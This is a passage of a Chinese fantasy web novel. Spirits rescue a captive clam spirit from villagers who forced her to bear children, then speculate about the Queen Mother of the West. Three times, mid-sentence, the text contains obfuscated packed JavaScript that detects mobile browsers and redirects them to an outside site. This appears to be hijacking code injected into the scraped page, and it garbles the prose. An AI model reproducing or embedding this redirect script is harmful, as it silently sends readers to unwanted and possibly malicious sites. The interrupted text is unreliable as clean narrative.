银杏一怔,晃了晃瘫靠在怀中的消瘦女人:“喂、醒醒……” 紫蛇打了个响指: “别晃了,这只蚌精体内灵气亏损太严重,加上没日没夜的孕育珠胎,精力耗尽,现在还活着都是个奇迹! 救不救?救的话带走,不救咱们就赶紧回家睡大觉,唔……大半夜的给我拎出来,我睡美容觉的时间都被你们给耽搁了。 好歹也是活了八百年的老蛇,我可得好生保养我这张闭月羞花的俏脸儿!” 紫蛇说着说着打了个打哈欠,还臭美地从袖中掏出一面精致的凤凰花纹小团镜,对着自己那张比城墙还厚的老脸照来照去。 “救!当然救啊!”银杏回答得干脆,挥手示意紫蛇:“那你快来帮忙啊,先把蚌精身上的这堆铁链子弄掉!” 紫蛇厚颜无耻地举着个镜子,纤纤玉指妖娆一抬:“呐,弄掉了,走人!” 我与银杏再朝蚌精身上望去,果然发现锁在蚌精双手双脚上,挂着四条手臂粗大铁链子的铁环已经从蚌精的两只手腕及两个脚踝上脱落了…… 银杏讶然顿了顿,随即难得地竖起大拇指夸赞了紫蛇一句: “行啊,想不到你还真有两把刷子!配得上你修行八百年的蛇仙身份!” 紫蛇挺了挺胸脯傲娇道:“这才哪到哪!小意思啦,哥会的可多了呢!哥的真正实力,超乎你的想象!” 银杏皱眉干笑笑: “呵、呵呵……所以你打算什么时候才把你这身艳丽的女装换掉?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359224|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么一直不肯换回男装,你不会压根就没有男装吧!你女装癖这么严重吗?” 紫蛇低头瞧了眼身上紫烟罗色银线精绣白昙花的云纱广袖长裙,依旧对自己的打扮很是满意,理直气壮的反问: “怎么了,我这身云纱紫裙不好看吗?!我当然有男装啊,但是我男装没有女装漂亮,穿着舒坦……你懂什么,哥这叫标新立异!再说……” 紫蛇面部表情突然颓废下来,顿时整个人都好似被抽走了全身力气一般,心累道: “自从跟了帝君,帝君就再也不许我穿女装了,帝君他简直是个恶魔领导,管天管地管人拉屎放屁! 连我穿什么衣服他都管。我穿女装碍着他什么事了? 他非说一见到我男不男女不女的样子,就想揍我。 关键他老人家还真不是说说而已,记得我刚跟在他身边那段时日,他原来的两个跟班,一条青蛇,一条白蛇,青的叫仇惑,白的叫白术,他们竟然真的会我穿一次女装他们就揍我一次! 一点也不带怜香惜玉的,那段时光,简直是我整个蛇生中,最痛苦阴暗的一段!” 手欠的又在我俩眼前啪的一声,打个响指: “哥原以为,哥这辈子都要与如此漂亮精致柔软舒适的女装无缘了,但是啊,终究是老天也在帮哥,上苍也觉得帝君他不干人事啊! 我刚被帝君唤醒,就赶上帝君与鸾镜妹子闹别扭的这个节骨眼。 啧,你说咱们这位帝君啊,平日里雷厉风行杀伐果断,那对待手下都是能过过不能过**,从不会被感情羁绊,可偏偏呢,就栽倒在小鸾镜的手里了,就在爱情方面迷失方向了! 我从石洞中醒来,两眼一睁,一看帝君那个脸色,我就觉得帝君不对劲,起初我还以为帝君是看我不爽,我才睡醒他老人家就要揍我。 后来经过我的深入了解,才发现帝君这老东西原来也是坠入了爱河,也是被情爱所困了! 桀桀桀,这不得让我抓住机会好好嘲笑他一番! 这不,趁着鸾镜妹子和他两口子别别扭扭,我借着给他出主意配合他演戏的机会,总算穿到了心心念念数百年的女装。 你们懂我五百年了才终于能买一套新衣服的痛吗? 你们懂,我穿着这身衣服在帝君眼前晃荡,帝君想揍我,却又无法下手,我有多快乐吗? 好不容易逮到一次衣装自由的机会,我可得珍惜,多穿几天再换回去。 哎呦,瞧瞧我这张脸,倾国倾城,花容月貌……” 银杏嫌弃扶额:“你这贱样,别说蛇王大人想揍你了,我也想!好了别哔哔了,还不快把蚌精背起来!我们好快些回去啊!” “啊?我背?” 银杏翻了个白眼:“我们三个之中,就你一个男人,难不成你还想让我和镜镜背啊!” 紫蛇妖娆的扭腰摆胯,不要脸地抬手撩起鬓角碎发别在耳后,搔首弄姿:“哎呦,人家也是个女孩子啦!” 银杏没忍住干呕了声,直接将怀里的女人推给了紫蛇: “退一万步,我们三个之中就你一个不男不女,她也得你来背。” 第139章 首先,排除宋潮生 紫蛇不紧不慢地将铜镜别在腰间,用女生声线夹着嗓子无奈道: “那好吧,背就背,谁让哥有绅士风度呢。” 说完,大大咧咧地扎着马步蹲下来,发力闷吼一声,将靠在自己身上昏迷不醒的蚌仙背了起来—— 紫蛇这家伙身形高大,骨架也是肩宽腰窄,典型的纯爷们身材。 只是他的脸与行为举止实在比姑娘还娘,是以他背着蚌仙走路的背影,总是会给人一种一会像男人,一会儿又像女人的错觉。 这大半夜走在路上,被别的村民看见恐怕得将他当成雌雄难辨的野鬼! 银杏说他不男不女,形容的真是贴切啊! 路上,我问背蚌精回家的紫蛇: “之前,谢妄楼谎称你是青漓的心上人,还说青漓等了你三百年,青漓和我在一起,只是需要我体内的圣女气运。 然后拿去唤醒你……他说,你是因青漓才沉睡的。 三百年前,你和青漓之间到底藏了什么见不得人的关系?” 紫蛇:“???” “你才和帝君有什么见不得人的关系呢!” 紫蛇极度抗拒道: “谢妄楼的鬼话你半分都不能信,这死狐狸的一张嘴可是又阴又贱! 不过,我承认外面对我与帝君的关系可能存在一丢丢的误解。 主要是我这个长相么……天生就偏柔美,加上我以前总是背着帝君偷偷用女人声线在外面玩儿…… 久而久之、有些野仙就怀疑我是女扮男装,还传了不少个我与帝君之间爱恨情仇的故事版本。 加上帝君他又是出了名的不近女色,是以三百年前九黎山一带传得最离谱的一个版本就是我为了接近帝君,女扮男装,只为留在帝君身边红袖添香。 而帝君也因为早就看破了我女人的身份,为了留我在身畔,才不近任何女色,弱水三千只取我这一瓢……” 银杏:“哈?” 紫蛇愤愤道:“取**一瓢!我、和帝君?我对帝君的恐惧忌惮还不够明显吗? 这都能嗑起来,牙真好! 至于三百年前我为何会沉睡,的确与帝君有些关系。但不是你们乱想的那种! 三百年前帝君在九黎山上建下一座娘娘庙后,便引来了天道的惩罚,犹记那一夜,狂风呼啸,暴雨倾盆,电闪雷鸣! 天像裂开了一个口子,里面雷电不住地往下劈。 帝君为了不连累九黎山下的苗域阴阳两苗族人,便决定以一己之身扛住雷劫,化成原形去堵住天上那道裂口。 雷电劈了十来下,天上落的雨都成了血红色,当时我与白术仇惑都陪在帝君身边。 我们害怕帝君有个好歹出了什么事,便想着替帝君分担些。 白术仇惑先化成一白一青两条大蛇去襄助帝君扛下雷劫,我呢,见帝君满身都是流动的血水,一时情急,便仗义忠心地推了帝君一把。 我当时是觉得,帝君虽然平日里冷漠了些,霸道了些,不干人事,动不动就想揍我,但他的确,没真揍过我几次…… 而且帝君他老人家身上的优点是多于缺点的,他护犊子,有情有义,更重要的是对我还有救命之恩。 当年若不是帝君一意孤行,执意要把我从深渊中救走,我恐怕早就被我养父母折磨**…… 他对我有重恩,他受难,我理应替他扛几把。 但是吧,我原以为以我五百多年的道行,至少能替帝君扛个四五道天雷。 可失算了,我推开帝君只替他挨了一道天雷,就两眼一黑晕**过去,然后、这不就沉睡了整整三百二十二年么。 今年端阳节后我才元神苏醒,体内元气慢慢恢复过来…… 帝君察觉到我的气息越来越明显,这才赶来潮汐村存放我的石洞里唤醒我。” 我听完才恍然大悟:“哦,原来是这样。” 紫蛇无奈的碎碎念: “什么需要你的圣女气运来让我苏醒,妹子我就这么和你说吧,哪怕我真是个女人,哪怕我真是为帝君而沉睡,哪怕帝君当真心里一直牵挂着我这个道侣…… 以帝君的本事,帝君想唤醒我,也完全不需要借助任何人的力量。 妹子你是阴苗族鬼师不假,你体内有阴苗族一半圣女气运也不错,但凡人力量在仙妖面前,何其微末。 帝君与其惦记你体内那丁点气运,还不如直接喊上白术仇惑来帮忙呢…… 你啊,还是对你老公的实力,没有个清晰的认知!” 我…… 承认他说得对。 但。 “你刚才说,娘娘庙是青漓建的?”我惊讶追问。 银杏默契地接上:“传闻中,娘娘庙不是用来**封印蛇王大人的么?” 紫蛇一愣,面色变了变。 背着蚌精静了良久,方说: “传闻都是野史,不都说了么,野史不一定是史,但一定够野! 我知道你们想问什么,只是此事关乎天机,不可轻易泄露,你们不知道,是对你们好。” 我哦了声,点头:“那神娘娘,和青漓又是、什么关系?” 青漓、为何要为她在苗域建庙…… 该不会神娘娘才是他的…… 紫蛇惊恐打断我这个可怕的想法: “你你你、你别乱猜啊!” 急着给他家帝君证明: “帝君建神娘娘庙,那是、为了还别人一个恩情!帝君的爱人仅有你一个! 神娘娘的事,等到了合适的时机,帝君会悉数告诉你的! 总之,帝君从前没有白月光,也没什么道侣,帝君从始至终只对你动过心。 鸾镜妹子,你切不可再胡乱猜疑,徒增烦恼啊!” 我瞟了眼他惊慌失措的模样,心绪平静下来: “哦,我就是随口一问,以防万一,你告诉我了我自然会相信,瞧把你吓的!” 紫蛇皱眉皱到表情扭曲: “我这不是害怕你俩又重蹈覆辙么,天知道上次我一觉醒来看见帝君拿刀划自己手臂,满地都是血那一幕给我带来了多大的心理阴影! 你俩闹别扭,我们一群人都得跟着提心吊胆,前怕帝君不在你身边,你被灰狐狸算计出什么事,后怕帝君何时想不开,老心病又犯了,发癫自残……” 这么一听,紫蛇确实、蛮不容易。 银杏挽住我的胳膊低头偷笑,过了一会儿,钻研道: “既然蛇王大人什么都没干,为什么苗域会有蛇王大人祸乱阳苗阴苗两族,曾令苗域血流成河,尸横遍野的谣言啊!” 紫蛇无助地昂头望天: “还不是那场雷劫惹的祸……什么尸横遍野。血流成河倒是真的,不过那些血水都是帝君身上的。 人嘴两张皮,口口相传的事,从村头到村尾都会翻好几个版本。 何况,这都过了三百年,也不知经过多少人的艺术加工了!” “也对哦……” —— 回到宋潮生家,紫蛇将蚌仙化回原形,暂时放在银杏手中捧着。 他自己则去外面找了个半人高的小水缸,从宋家院子的老古井里打了两桶井水注入进去。 之后才让银杏把蚌仙放入缸中,被水浸泡。 青漓走到水缸前,看了眼沉入缸底那个半死不活的小粉蚌,抬手凝出一片青色幽光,笼罩在缸口水面上。 我靠近青漓,小声询问:“她、能治好吗?” 青漓平静启唇:“伤得不重,给她补充点灵泽她就能缓过来。” 紫蛇拍拍身上飘逸的衣裙安慰我们: “放心好了,这家伙少说也有三五百年的道行了,没你们想象中的那么脆弱! 而且我特意去外面打的古井水给她浸身,宋家院子里的这个古井十来年没人动了,井中水也沉淀了十来年的日月精华,对她来说,大补! 何况还有帝君亲自施法为她疗伤,估摸明天中午这个蚌就能活蹦乱跳的出现在你们面前了!” 银杏搓了搓肩膀上的鸡皮疙瘩,还是忧心忡忡:“她都被开膛破肚这么多次了,女人生孩子可是很伤身体的!” “的确伤身体。” 紫蛇摸着下巴道: “她体内孕育的那些珠胎都是靠汲取母体养分养成的,但好在,她是只活了几百年的大蚌,只要及时为她补充力量,她自愈的速度会很快的!” “珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蚌仙失去内丹已经两三年了,又被潮汐村的人折磨了这么久,她如今还能痛苦地挺过来…… 希望,她属于后者。 “无妨,她体内灵气重,内丹没了亦可从头修炼,不会有性命之危。” 青漓牵住我的手,温声抚慰: “她死不了,不过,这几年的经历令她元气大伤,以后修炼难免会频遭堵塞,困难重重。 这是她命中注定的劫,躲过去,前程无量,躲不过去,道行便止步于此了。” 银杏听到结果,昏昏沉沉地打了个哈欠,这才完全放下了心: “既然她明天就能好,那我们安心睡觉吧,这都凌晨两点了,明天我还要跟潮生哥一起去给他爷爷奶奶上坟呢!” “是该睡觉了。”紫蛇一听睡觉二字立马溜得比所有人都快:“帝君你老人家和鸾镜妹子也早点休息吧!我早就瞌睡了,我去外面找棵树盘了。” 说完,迅速化作一缕紫烟飞出了窗子。 银杏慵懒地往小床上一倒: “紫蛇这家伙怎么总喜欢往树上盘啊!幸好月阴村和他有同样癖好的蛇类不多,不然非得把人吓死!” “可能是因为,他自幼就被迫盘在树头睡觉,习惯了吧。盘得高些,他有安全感。” 青漓拉我去大床边坐下,亲自弯腰帮我脱鞋袜:“我去打水,给你洗脚。” 我老实点头:“好。” 他拿上木盆出门后,躺在床上的银杏突然翻身面向我,左臂支着脑袋,贼兮兮地打趣道: “啧啧啧啧,差距啊!区别啊!你瞅瞅蛇王大人都被你调教成什么样了。 哎呀,我也好想有人能给我洗脚呀。 什么时候我也能拥有一个在睡前亲自给我脱鞋脱袜子的贴心老公呢。” 我坐在床边晃了晃双脚,无情扎她小心肝: “首先,你得放下宋潮生,排除宋潮生,因为这种事他绝对不会干!” 银杏:“……” 第140章 西王母,在阴苗族 翌日。 银杏早上七八点就跟着宋潮生去给他爷爷奶奶及自家几位长辈上坟了。 小凤和紫蛇在家守着水缸里的小粉蚌。 我与青漓则去金大叔家找李叔阿乞会合,共享最新消息。 “镜镜姐你是说,蚌仙原本是来阴苗族找人的,但却被潮汐村的村长给拐来了潮汐村。 又因为她在冥界鬼市换了自己的内丹,导致她法力全无。 所以她才被困在潮汐村两年之久,被迫给潮汐村的男人传宗接代?” 阿乞浑身打了个寒战, “太恐怖了,现实版的大学生被拐偏远山村沦为生育机器! 难怪昨天下午我和师叔祖去宋潮生表舅家看他刚出生的儿子,却发现他儿子天生只有一缕魂魄呢!” 李叔抽着旱烟,蹙眉闷声道: “虽然猜出了这些孩子不是正常人,但没想到,他们竟然是珠胎。 不过这也是潮汐村自作孽的报应啊! 但凡那个女人不是蚌精,是猫精或者兔精,她繁衍的这些孩子,就真要扎根潮汐村了…… 留了这么多后代血脉在潮汐村,即便村长来日良心发现放了她,这些孩子也会成为她修行路上的羁绊。 她的道行与未来,便算彻底毁了。 幸好,她是蚌。” 我不解地追问:“为什么是猫妖兔妖,生下来的孩子就会是正常人了?” 阿乞淡定给我答疑解惑: “因为蚌妖的体质特殊,你知道蚌身体里的珍珠是怎么来的吗? 就是异物入侵凝结而成,比如水底的砂砾,或小碎石不小心进入了大蚌的体内,大蚌无法将异物排出,只能分泌自身粘液,将异物层层包裹,达到保护自身安全的目的。 久而久之,这些异物就会被珍珠的分泌液包裹成一颗颗圆润明亮的小珠子,这些珠子被开采出来,便是珍珠。 成了精的蚌与人结合生孩子也是这个步骤,男人的……咳。” 尴尬地看了眼坐在我身边拿柳条给我编手环的青漓,阿乞面红耳赤的委婉道: “那东西,进入了蚌精的体内,于蚌精而言就是异物,蚌精如若想和他生宝宝,就自己也得出一丝精元,就像人类,男女生宝宝,不仅需要男人的精子……还需要女人的卵子。 呃、这个咱们初中生物课都学过,算常识了。 可蚌精若是不想和他生宝宝,蚌精就能控制自己的身体,不让自己分泌出那一丝精元。 但男人们的东西呢,又留在她体内,她为了保证自己的身体不被那些异物损害,就只能不停用粘液滋养他们,把他们养成珠胎,这样才能通过生产的方式,把脏东西排出身体。 简单来说,那些男人想利用她生孩子,往她身体里注入自己的精血,而她只想把那些脏东西排出体外,潮汐村那些男人们认为的生孩子,其实只是蚌精排毒的过程。 由于这些男婴只有男子的精元,根本没有母亲的精血融合,所以,男婴们生下来就是个空壳子…… 幸运点的,体内会生出个一两缕魂,但他们长大,八成也是傻子愣子…… 这类人,在道家被称作、行尸走肉。 而且他们还没有传宗接代的能力,你可理解成,蚌精给他们生了个会动会跳、会哭会闹的高级木偶人。 他们永远都不可能变成真正的人类。 但放眼整个生物圈,也就仅有蚌精有控制分泌精元的能力,猫猫狗狗小兔子,甚至鱼啊泥鳅啊,小鸟啊,包括人,都是无法控制的。 所以师叔祖才说,但凡是猫妖兔子妖,她的一辈子就毁了,潮汐村这些男人的心愿也就达成了!” 我恍然,顿时神思通透:“我懂了,蚌精能够控制排卵,其他生物不能,所以蚌精才会生出没有魂的孩子,要是换做别的生物,就真会生出半妖!” “就是这样!” 阿乞连连点头: “要是碰上生育能力比较强的物种、比如猫啊,兔子啊,潮汐村的这些男人们就真的赚大发了! 师叔祖说得没错,幸好她是蚌,不然她得多遭罪啊!” 我托下巴无奈叹息: “人性都是自私贪婪的,我也没想到,落花房都已经满足不了这些人的欲望了!” 李大叔吸着浓烟冷笑两声: “落红房里的孩子,谁能确定是谁的种。 他们要的真是振兴村落么?他们的本意真是希望村子枝繁叶茂,繁衍兴盛么? 不,他们一个个打着为村子未来着想的旗号,实际上,都是为了满足一己私欲。 村长想利用蚌仙赚钱,村里的男人们想利用蚌仙给他们家添丁,他们一个个,最终目的都仅是为了自己好!” “他们就是一群自私自利的**犯!” 阿乞握拳忿忿不平道: “昨天我和师叔祖也弄清了潮汐村鬼市卖女儿骨的前因后果,村子里是供了六臂通天佛不错,也的确受到了长生佛教邪门思想的荼毒。 但村里供的那些佛像,只有四五家的佛像里被注入了山怪的一丢丢法力,这一丢丢法力,仅够托个梦,吓唬吓唬人。 十分之**的六臂通天佛就是一块死木头疙瘩。 更重要的是,村里人之所以愿意相信长生佛教的那些谬论,追根究底,还是因为他们有了儿子,觉得自家女儿是赔钱货,不想要了! 他们是在蚌仙来了村里,给村里不少人都生了儿子后,才开始信长生佛教的…… 我和师叔祖还特意翻看了传说中的那两本关于长生佛教的怪书,上面的记载很多都幼稚得连我都骗不过去,更遑论是个思想成熟的正常成年人了! 所以,我总结了一下,潮汐村卖女儿皮,少女骨,肆意屠害少女…… 都是因为村里这些人仗着自家有了儿子,便不需要女儿了,这才将女儿像件货物一般,拆拆卖了!” 我听罢心情沉重地深呼吸:“所以,少女骨、长生佛教、六臂通天佛,仅是蚌仙事件带来的连锁反应。” 李大叔抿了口白雾,拿着烟杆往桌角敲了敲:“蚌仙是来阴苗族找人的?可有说找谁?” 我摇头,“昨晚她精神错乱,情绪不稳定,说话也颠三倒四的,没等我和银杏细问她就虚弱地晕死过去了……我只隐约听她提及什么、昆仑山、神宫、守山神女,她说,她是来找昆仑山的娘娘救她阿兄的。” “昆仑山……”李大叔握着烟杆想了想,推测道:“昆仑山那边,只住了一位娘娘,也是最有名的那位……不过,她怎么会出现在阴苗族。” 阿乞猛地猜到:“师叔祖,你说的是不是、西王母!” 我微讶:“蚌仙是来找西王母的?” 李大叔蹙眉分析: “大概率是了。西昆仑住着女仙之首,西王母娘娘,因着有西王母娘娘坐镇那片仙山,所以整片昆仑墟,其她神女,皆不可称娘娘…… 而放眼整座昆仑仙山,也就只有西王母娘娘才会时不时入世救个人,渡化个精怪。 蚌仙要求昆仑的娘娘救她哥哥,这位娘娘只可能是西王母。可西王母为什么会身在阴苗族……” 说着,李大叔恭敬请教青漓:“蛇王大人,您,有得到风声吗?” 青漓手上编柳环的动作顿了顿,平静答道: “没有,苗域近百年来,都从未有神仙到访过。 更何况,那位娘娘不是几千年前就闭关修炼了么? 昆仑神宫也闭宫至今,不再接待任何访客,本尊,暂时还未得到她已出关的消息。” 我慵懒地往青漓身上一靠,歪头倚在他的肩上,浅浅道: “说到闭关……昨天晚上那个蚌仙也提及过,说什么、她要找的那位娘娘不在神宫,不在昆仑仙山,要不然看见她的信物不可能不出面见她。 她还说,她用自己的内丹同冥界鬼市的一位仙人交换了一则消息,这则消息就是她找的娘娘在阴苗族,她这才一个人摸来苗域,时运不济被潮汐村的村长拐骗回家的。” “信物?她手中还有那位娘娘给的信物!”李大叔追问。 我点点头:“对啊,是只能折射出五彩光辉的银海螺。” 李大叔面色凝重的深思: “如果,她要找的人就是西王母娘娘,那她、或许真没说错! 西王母娘娘是位重承诺的上古神女,只要蚌仙拿出信物,西王母若在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369701|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昆仑神宫,定会出面相见,无论能不能帮,西王母都会给个准话。 而且,冥界的鬼市是三界最为鱼龙混杂之地,也是消息最为灵通之处。 鬼市上讲究诚信交易,任何赃物,不问来处,任何消息,不探渠道,不疑真假。 消息越机密,对方索要的代价就越大。 她遇见的那位仙人既然能提出让她用自己的内丹来换,可见这个消息,有九成真。 且蚌仙来阴苗族,定能遇见西王母娘娘!” “啊?可连帝君都没有感应到西王现身在阴苗族,西王母怎么可能真在咱们这地方。 阴苗族说大不大说小不小,突然冒出个生人,就算不引起族人们的疑心,也会惊动到九黎山一带的仙妖精怪。 再说哈,西王母那么厉害的一尊神,无缘无故地往咱们阴苗族跑干什么? 难道,是想突击检查她的信众有没有好生修炼? 还是、想看看如今的阴苗族,八百年前的九黎族落败到什么地步了?” 阿乞话才说完脑袋就挨了李大叔一烟杆,李大叔正色责备道: “胡说些什么!西王母也是你能口无遮拦议论的?西王母再怎么说,都是你们阴苗族唯一信奉的上古正神,是你们的保护神,乱说话当心闪了你的小舌头!” 阿乞揉着脑袋委屈咕哝: “我说的都是实话嘛!西王母要是在我们族,帝君他掌管整片、咳,这方圆三千里,突然多出一股陌生神仙的气息,他怎么可能察觉不到! 西王母要是真在我们族,宋花枝与宋淑贞母女俩干了这么多坏事,她怎么不一道雷劈死这对缺德的母女……” 见李大叔又要拿烟杆敲他脑袋,阿乞机灵地先一步用手臂护住自己的头,不悦反抗: “你瞧你又急!每次我说老天爷怎么不一道雷劈死宋淑贞,您都用您那破烟杆子敲我,可疼了! 再说你让镜镜姐和帝君评评理,我说的话哪里不对吗? 您喜欢人家大祭司,处处维护大祭司,可人家大祭司压根不领情不稀罕! 这些年你该劝的也劝了,该拦的也拦了,结果呢,根本不影响人家肆无忌惮的作恶! 师叔祖你扪心自问,大祭司母女俩手上沾染的鲜血还少吗?” 李大叔举起的烟杆僵在半空,阴沉的老脸不禁更加青黑了…… 我尴尬地揉揉鼻尖,闷咳两声,假装没听到阿乞的大实话。 青漓将编好的柳环套在我一双手腕上,怜惜地抬袖,揽我入怀。 大手在我脑袋上宠溺地揉了揉。 “本尊没有感应到她的存在,除了她不在阴苗族,还有一种可能。” 阿乞趁李大叔走神,捂着脑袋拔腿就跑。 在我与青漓旁边坐下,借青漓的势保护自己。 “哇?哪种可能?” 李大叔神色沉沉地收了烟杆,继续往桌角敲烟锅内的烟草:“西王母,转生在了阴苗族。” “转、转生?”阿乞错愕咂舌。 李大叔嗯了声,冷静说: “鬼市的消息不会错,要么,是他玩了文字游戏,他说西王母娘娘在阴苗族,却没说娘娘什么时候在阴苗族,他能让蚌仙见到西王母娘娘,却没保证,蚌仙何时能见到。 蚌仙来阴苗族第一天就能见到是见到,来阴苗族第三年能见到,也是见到。 要么,就是西王母娘娘转世投生在了阴苗族,神明转世,天道为了保障神明的安全,也为了确保神明能顺利完成转生的任务,会抹除神明身上的所有气息。 掩去神明身上的强大仙泽,令神明的转世同普通凡人没有任何区别。 因此,即便西王母娘娘此刻就在蛇王大人的眼皮子底下,蛇王大人这位一方之主也感应不到。” “转生……又是转生。” 阿乞的第一反应却是连忙提醒道: “师叔祖,这话可不能被大祭司与圣女听了去!不然宋花枝说不准什么时候就变成西王母转世了,到时候更难对付了!” 我靠在青漓怀里,一阵语塞:“……” 虽然…… 但是、他说的、的确有道理。 李大叔冷眼睨他,无言反驳。 第141章 发现了镜镜外公的坟! 青漓慵懒抱着我,一手把玩我腕上的镯子,淡淡发表看法: “这个可能性,不大。西王母转生,必是有什么大事要处理。 阴苗族这些年虽混乱,但并没有达到须得这么尊贵的一位神明亲自下凡解决的地步。 本尊镇守苗域数千年,从未感应到苗域何方有异样神力涌动。 况,西王母已闭关近三千年,若转生,两千年前便该出现在人间了。 神明转生,若是办事,须臾三五十载便会归位,若是历劫,也一般不会滞留人间超过千年。 两千多年,这个时期太长了,在人间滞留这么久,得轮回多少世……拖得越久,情况越危险。 西王母乃上古正神,昆仑之主,神界女仙之首,她在转生过程中出什么差池,西昆仑那边都是会有异象浮现的。 本尊记得,西昆仑也就三百年前突然闹了一次小地震,但不过几个时辰就被昆仑山上的三千金仙给稳住了。 自那之后,西昆仑再未有任何变故传出,这也证明,西王母一切安好无虞。 即便她真的转生在阴苗族,如今应是也过得极好。” 缓了缓,他松开我的镯子,改来握我的手: “但,滞留人间两千年,少说也得轮回个一二十世。 纵使是西王母,被封了神力修为,以凡人之躯入轮回道一二十次,她的身体也会被轮回道损伤严重。 她神魂虚弱,昆仑神山也会受其影响频生动荡,可目前来看,昆仑神山那头甚是安静。” “西王母此神昔年未闭关时,行踪便飘忽不定让人难以捕捉。 她究竟是会以凡人形态出现在阴苗族,还是将会以神明形态驾临苗域,暂时你我都难判断。” 李大叔抽了口浓烟,紧拧眉心提示阿乞: “想知道答案,就只能盯紧那只蚌精了。” 阿乞听罢激动搓手: “等我见到老紫,我就让他帮我多留意蚌仙的一举一动!哎,只可惜宋潮生家实在太小了,我又不会盘树,只能拜托离蚌仙近的老紫了!盯梢可是老紫的强项!” 李大叔拿阿乞没办法地抬了抬眉头,随即又问我: “对了小鸾镜,你们昨夜把村长家的蚌仙偷走了,今天村里有动静吗? 按理说,村长的摇钱树跑了,村里男人传宗接代的宝贝疙瘩不见了,村里应该一片大乱才对。” 我倚在青漓肩上打了个哈欠: “可能已经乱了,只是那些人碍于我们还在潮汐村,不好大张旗鼓地四处搜人。咱们几个是什么身份啊,赫赫有名的玄门大佬李老,阴苗族大长老、鬼师、” 拍拍青漓的胸膛,我都快被阴凉的清风吹出瞌睡了: “外加一位蛇王大人,昨天咱们来的时候又没背人,李大叔你和阿乞还出门兜了一圈,宋潮生也出去散播了一遍,就算潮汐村有人不认识我和阿乞,咱们的**也早就暴露了。 他们在村里养蚌仙可不是什么能见人的好事,现在估摸已经急得团团转,却又不敢闹出动静,只能硬憋着四下到处偷偷找蚌仙了。” “有道理哎。”阿乞从口袋里掏出一个嫩莲蓬,吭哧吭哧地掰着。 金叔等我们说完话,才给我们每人倒了杯清茶送过来。 金家婶子一大早就出门赶集去了,而他家小女儿也在我和青漓来之前,出门找好朋友去村南头的池塘钓鱼了。 得亏我们来晚了一步。 不然以那小姑娘粘青漓的程度,我和李大叔阿乞是休想说得上话了! 全程都得防着这小姑娘乱扒拉我家蛇王。 “对了老李,我听说,你算卦也比较灵,能不能帮我算上一卦?”趁李大叔闲着,金叔赶忙凑上来一脸期待的请求。 李大叔吐了口白雾,从容放下手里长烟杆:“好啊,你想算什么?” 金叔憨厚笑笑: “我这辈子呢,没什么大梦想,只想一家人平平安安的…… 老爷子今年没有喝到长生泉的泉水心里不太踏实,我这身体呢,也一天不如一天,总是咳嗽,我才四十来岁。 我老婆这两年只顾着照顾我,身子也被拖垮了,最近两个月总是夜里反胃犯恶心。 我还有个宝贝闺女,她还没有找到合适的对象,没有组建家庭…… 我想,请你帮忙算一算,我家的运势,家里人是否能顺利熬过难关,还有老爷子……” 话未说完,李叔却已全部意会。 从交领衣襟内掏出三枚铜钱,交给金叔。 “你掷一下看看。” 金叔双手接过三枚金褐色铜钱,铜钱放进掌心,双手合拢晃了晃。 紧闭双目,诚心祈祷了一阵,才将铜钱掷在木桌上。 三枚铜钱叮叮当当应声倒在桌面,两反一正。 而看见卦象的那一刻,李大叔与阿乞的脸色都顿时一阵大变! 青漓扫了眼桌上的东西,眸色黯了黯,似早就料到了会是这个结果…… 金叔还在两眼放光地激动期待李大叔解卦。 只有我一人对着桌上卦象一头雾水。 看李大叔与阿乞如今的表情就知道这一卦绝对不大好,十分之**是个大凶卦象…… 可奈何我看不懂这铜钱卦!也辨不出这卦象中所蕴含的信息,李大叔又总喜欢卖关子,半天不发话,害得我只能坐在一旁干着急! 谁懂啊,这种瓜就在眼前,却啃不到的滋味到底有多难熬啊! “老李,这一卦怎么样?你快给我说说啊!”后来还是金叔耐不住性子的主动催促道。 李大叔伸手将桌上的三个铜钱抹去,平静忽悠: “家里老爷子的身体还硬朗,就算没有长生泉,也能撑个五六年,六年后的夏天,若遇老爷子生病,就赶紧给老爷子预备着吧。” 听到这个消息,金叔眼角展露出笑意:“还有五六年啊,好!比我预想的还要好!五六年,满足了!” 李大叔续道: “你这个病,病根在水,切记,从今日开始不要再吃药了,还有,将你睡觉屋里常用来喝茶的那只茶壶扔掉!壶内病气重,不利恢复。停了药,再过一个星期你就能感受到身体的明显好转了!” 金叔点点头,急着问:“那我老婆呢?我给她拿了胃病药,可她总是闹脾气不肯吃……” 李大叔面不改色: “你老婆的病,说严重也不严重,说不严重,也严重。 明天村里的张郎中会来找你办事,你正好让他给你老婆把把脉,他医术不错,能当场给你们开药调理了!” “好好好。”金叔猛松了口气。 李大叔拿起茶杯,喝了一大口滚烫茶水: “你女儿命应该不错的,只是小姑娘脾气过于执拗,且在某些事上,太过胆大。你如果不想以后生事端,就赶紧把你家那祖传的玉狮子出手了!” 金叔闻言一时吃惊不已: 